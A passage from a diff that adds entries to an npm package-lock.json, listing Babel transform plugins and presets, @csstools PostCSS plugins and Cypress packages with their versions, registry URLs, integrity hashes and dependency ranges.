"https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz", + "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "regenerator-transform": "^0.15.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz", + "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.18.6.tgz", + "integrity": "sha512-8uRHk9ZmRSnWqUgyae249EJZ94b0yAGLBIqzZzl+0iEdbno55Pmlt/32JZsHwXD9k/uZj18Aqqk35wBX4CBTXA==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "babel-plugin-polyfill-corejs2": "^0.3.1", + "babel-plugin-polyfill-corejs3": "^0.5.2", + "babel-plugin-polyfill-regenerator": "^0.3.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz", + "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.18.6.tgz", + "integrity": "sha512-ayT53rT/ENF8WWexIRg9AiV9h0aIteyWn5ptfZTZQrjk/+f3WdrJGCY4c9wcgl2+MKkKPhzbYp97FTsquZpDCw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz", + "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.6.tgz", + "integrity": "sha512-UuqlRrQmT2SWRvahW46cGSany0uTlcj8NYOS5sRGYi8FxPYPoLd5DDmMd32ZXEj2Jq+06uGVQKHxa/hJx2EzKw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.6.tgz", + "integrity": "sha512-7m71iS/QhsPk85xSjFPovHPcH3H9qeyzsujhTc+vcdnsXavoWYJ74zx0lP5RhpC5+iDnVLO+PPMHzC11qels1g==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.18.8.tgz", + "integrity": "sha512-p2xM8HI83UObjsZGofMV/EdYjamsDm6MoN3hXPYIT0+gxIoopE+B7rPYKAxfrz9K9PK7JafTTjqYC6qipLExYA==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-typescript": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.6.tgz", + "integrity": "sha512-XNRwQUXYMP7VLuy54cr/KS/WeL3AZeORhrmeZ7iewgu+X2eBqmpaLI/hzqr9ZxCeUoq0ASK4GUzSM0BDhZkLFw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz", + "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.18.6.tgz", + "integrity": "sha512-WrthhuIIYKrEFAwttYzgRNQ5hULGmwTj+D6l7Zdfsv5M7IWV/OZbUfbeL++Qrzx1nVJwWROIFhCHRYQV4xbPNw==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.18.6", + "@babel/helper-compilation-targets": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-validator-option": "^7.18.6", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.6", + "@babel/plugin-proposal-async-generator-functions": "^7.18.6", + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/plugin-proposal-class-static-block": "^7.18.6", + "@babel/plugin-proposal-dynamic-import": "^7.18.6", + "@babel/plugin-proposal-export-namespace-from": "^7.18.6", + "@babel/plugin-proposal-json-strings": "^7.18.6", + "@babel/plugin-proposal-logical-assignment-operators": "^7.18.6", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6", + "@babel/plugin-proposal-numeric-separator": "^7.18.6", + "@babel/plugin-proposal-object-rest-spread": "^7.18.6", + "@babel/plugin-proposal-optional-catch-binding": "^7.18.6", + "@babel/plugin-proposal-optional-chaining": "^7.18.6", + "@babel/plugin-proposal-private-methods": "^7.18.6", + "@babel/plugin-proposal-private-property-in-object": "^7.18.6", + "@babel/plugin-proposal-unicode-property-regex": "^7.18.6", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.18.6", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-transform-arrow-functions": "^7.18.6", + "@babel/plugin-transform-async-to-generator": "^7.18.6", + "@babel/plugin-transform-block-scoped-functions": "^7.18.6", + "@babel/plugin-transform-block-scoping": "^7.18.6", + "@babel/plugin-transform-classes": "^7.18.6", + "@babel/plugin-transform-computed-properties": "^7.18.6", + "@babel/plugin-transform-destructuring": "^7.18.6", + "@babel/plugin-transform-dotall-regex": "^7.18.6", + "@babel/plugin-transform-duplicate-keys": "^7.18.6", + "@babel/plugin-transform-exponentiation-operator": "^7.18.6", + "@babel/plugin-transform-for-of": "^7.18.6", + "@babel/plugin-transform-function-name": "^7.18.6", + "@babel/plugin-transform-literals": "^7.18.6", + "@babel/plugin-transform-member-expression-literals": "^7.18.6", + "@babel/plugin-transform-modules-amd": "^7.18.6", + "@babel/plugin-transform-modules-commonjs": "^7.18.6", + "@babel/plugin-transform-modules-systemjs": "^7.18.6", + "@babel/plugin-transform-modules-umd": "^7.18.6", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.18.6", + "@babel/plugin-transform-new-target": "^7.18.6", + "@babel/plugin-transform-object-super": "^7.18.6", + "@babel/plugin-transform-parameters": "^7.18.6", + "@babel/plugin-transform-property-literals": "^7.18.6", + "@babel/plugin-transform-regenerator": "^7.18.6", + "@babel/plugin-transform-reserved-words": "^7.18.6", + "@babel/plugin-transform-shorthand-properties": "^7.18.6", + "@babel/plugin-transform-spread": "^7.18.6", + "@babel/plugin-transform-sticky-regex": "^7.18.6", + "@babel/plugin-transform-template-literals": "^7.18.6", + "@babel/plugin-transform-typeof-symbol": "^7.18.6", + "@babel/plugin-transform-unicode-escapes": "^7.18.6", + "@babel/plugin-transform-unicode-regex": "^7.18.6", + "@babel/preset-modules": "^0.1.5", + "@babel/types": "^7.18.6", + "babel-plugin-polyfill-corejs2": "^0.3.1", + "babel-plugin-polyfill-corejs3": "^0.5.2", + "babel-plugin-polyfill-regenerator": "^0.3.1", + "core-js-compat": "^3.22.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.18.6.tgz", + "integrity": "sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-validator-option": "^7.18.6", + "@babel/plugin-transform-react-display-name": "^7.18.6", + "@babel/plugin-transform-react-jsx": "^7.18.6", + "@babel/plugin-transform-react-jsx-development": "^7.18.6", + "@babel/plugin-transform-react-pure-annotations": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz", + "integrity": "sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-validator-option": "^7.18.6", + "@babel/plugin-transform-typescript": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/register": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.18.6.tgz", + "integrity": "sha512-tkYtONzaO8rQubZzpBnvZPFcHgh8D9F55IjOsYton4X2IBoyRn2ZSWQqySTZnUn2guZbxbQiAB27hJEbvXamhQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "clone-deep": "^4.0.1", + "find-cache-dir": "^2.0.0", + "make-dir": "^2.1.0", + "pirates": "^4.0.5", + "source-map-support": "^0.5.16" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.26.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.26.0.tgz", + "integrity": "sha512-FDSOghenHTiToteC/QRlv2q3DhPZ/oOXTBoirfWNx1Cx3TMVcGWQtMMmQcSvb/JjpNeGzx8Pq/b4fKEJuWm1sw==", + "license": "MIT", + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime-corejs3": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.18.6.tgz", + "integrity": "sha512-cOu5wH2JFBgMjje+a+fz2JNIWU4GzYpl05oSob3UDvBEh6EuIn+TXFHMmBbhSb+k/4HMzgKCQfEEDArAWNF9Cw==", + "license": "MIT", + "dependencies": { + "core-js-pure": "^3.20.2", + "regenerator-runtime": "^0.13.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime/node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==", + "license": "MIT" + }, + "node_modules/@babel/template": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.6.tgz", + "integrity": "sha512-JoDWzPe+wgBsTTgdnIma3iHNFC7YVJoPssVBDjiHfNlyt4YcunDtcDOUmfVDfCK5MfdsaIoX9PkijPhjH3nYUw==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.18.8.tgz", + "integrity": "sha512-UNg/AcSySJYR/+mIcJQDCv00T+AqRO7j/ZEJLzpaYtgM48rMg5MnkJgyNqkzo88+p4tfRvZJCEiwwfG6h4jkRg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.18.7", + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-function-name": "^7.18.6", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.18.8", + "@babel/types": "^7.18.8", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.26.3", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.26.3.tgz", + "integrity": "sha512-vN5p+1kl59GVKMvTHt55NzzmYVxprfJD+ql7U9NFIfKCBkYE55LYtS+WtPlaYOyzydrKI8Nezd+aZextrd+FMA==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "license": "MIT" + }, + "node_modules/@colors/colors": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@csstools/normalize.css": { + "version": "12.0.0", + "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.0.0.tgz", + "integrity": "sha512-M0qqxAcwCsIVfpFQSlGN5XjXWu8l5JDZN+fPt1LeW5SZexQTgnaEvgXAY+CeygRw0EeppWHi12JxESWiWrB0Sg==", + "license": "CC0-1.0" + }, + "node_modules/@csstools/postcss-cascade-layers": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.0.5.tgz", + "integrity": "sha512-Id/9wBT7FkgFzdEpiEWrsVd4ltDxN0rI0QS0SChbeQiSuux3z21SJCRLu6h2cvCEUmaRi+VD0mHFj+GJD4GFnw==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/selector-specificity": "^2.0.2", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-color-function": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz", + "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-font-format-keywords": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz", + "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-hwb-function": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz", + "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-ic-unit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz", + "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz", + "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-normalize-display-values": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz", + "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-oklab-function": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz", + "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-progressive-custom-properties": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz", + "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/@csstools/postcss-stepped-value-functions": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz", + "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-trigonometric-functions": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz", + "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-unset-value": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz", + "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==", + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/selector-specificity": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.0.2.tgz", + "integrity": "sha512-IkpVW/ehM1hWKln4fCA3NzJU8KwD+kIOvPZA4cqxoJHtE21CCzjyp+Kxbu0i5I4tBNOlXPL9mjwnWlL0VEG4Fg==", + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2", + "postcss-selector-parser": "^6.0.10" + } + }, + "node_modules/@cypress/mount-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@cypress/mount-utils/-/mount-utils-1.0.2.tgz", + "integrity": "sha512-Fn3fdTiyayHoy8Ol0RSu4MlBH2maQ2ZEXeEVKl/zHHXEQpld5HX3vdNLhK5YLij8cLynA4DxOT/nO9iEnIiOXw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@cypress/react": { + "version": "5.12.5", + "resolved": "https://registry.npmjs.org/@cypress/react/-/react-5.12.5.tgz", + "integrity": "sha512-9ARxdLMVrrmh853xe6j9gNdXdh+vqM7lMrvJ+MGoT4Wae+nE0q3guNgotFZjFot0ZP/npw8r3NFyJO216ddbEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cypress/mount-utils": "1.0.2", + "debug": "^4.3.2", + "find-webpack": "2.2.1", + "find-yarn-workspace-root": "2.0.0" + }, + "peerDependencies": { + "@babel/core": ">=7", + "@babel/preset-env": ">=7", + "@cypress/webpack-dev-server": "*", + "@types/react": "^16.9.16 || ^17.0.0", + "babel-loader": ">=8", + "cypress": "*", + "next": ">=8", + "react": "^=16.x || ^=17.x", + "react-dom": "^=16.x || ^=17.x", + "webpack": ">=4" + }, + "peerDependenciesMeta": { + "@babel/core": { + "optional": true + }, + "@babel/preset-env": { + "optional": true + }, + "@cypress/webpack-dev-server": { + "optional": true + }, + "@types/react": { + "optional": true + }, + "babel-loader": { + "optional": true + }, + "next": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/@cypress/request": { + "version": "2.88.10", + "resolved": "https://registry.npmjs.org/@cypress/request/-/request-2.88.10.tgz", + "integrity": "sha512-Zp7F+R93N0yZyG34GutyTNr+okam7s/Fzc1+i3kcqOP8vk6OuajuE9qZJ6Rs+10/1JFtXFYMdyarnU1rZuJesg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "http-signature": "~1.3.6", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^8.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@cypress/webpack-dev-server": { + "version": "1.8.4", + "resolved": "https://registry.npmjs.org/@cypress/webpack-dev-server/-/webpack-dev-server-1.8.4.tgz", + "integrity": "sha512-kDg57ozD4vzIwHa0FhT44IoMKqsgFy7WV5SbBjWLBPdoOhuCdf22gy8VukaxwYqh+MFKxqVJ7hqVLErmMgpAYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.2", + "lodash": "^4.17.21", + "semver": "^7.3.4", + 